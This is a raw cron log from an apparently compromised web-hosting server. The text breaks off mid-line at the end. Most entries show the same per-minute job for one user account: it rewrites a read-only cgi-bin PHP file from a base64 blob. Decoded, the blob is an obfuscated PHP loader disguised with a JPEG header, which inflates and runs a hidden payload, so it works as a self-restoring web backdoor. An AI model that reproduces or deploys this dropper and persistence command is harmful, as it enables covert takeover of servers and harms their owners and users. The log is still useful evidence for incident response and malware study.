Apr  6 04:21:01 server CROND[10102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:22:01 server CROND[10165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:23:01 server CROND[10234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:24:01 server CROND[10306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:25:01 server CROND[10373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:25:01 server CROND[10374]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 04:25:01 server CROND[10375]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 04:25:01 server CROND[10376]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  6 04:26:01 server CROND[10777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:27:01 server CROND[10845]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 04:27:01 server CROND[10846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:28:01 server CROND[10919]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:29:01 server CROND[11014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:30:01 server CROND[11110]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 04:30:01 server CROND[11111]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 04:30:01 server CROND[11121]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 04:30:01 server CROND[11122]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  6 04:30:01 server CROND[11124]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Apr  6 04:30:01 server CROND[11126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:31:01 server CROND[11257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:32:01 server CROND[11443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:33:01 server CROND[11515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:34:01 server CROND[11593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0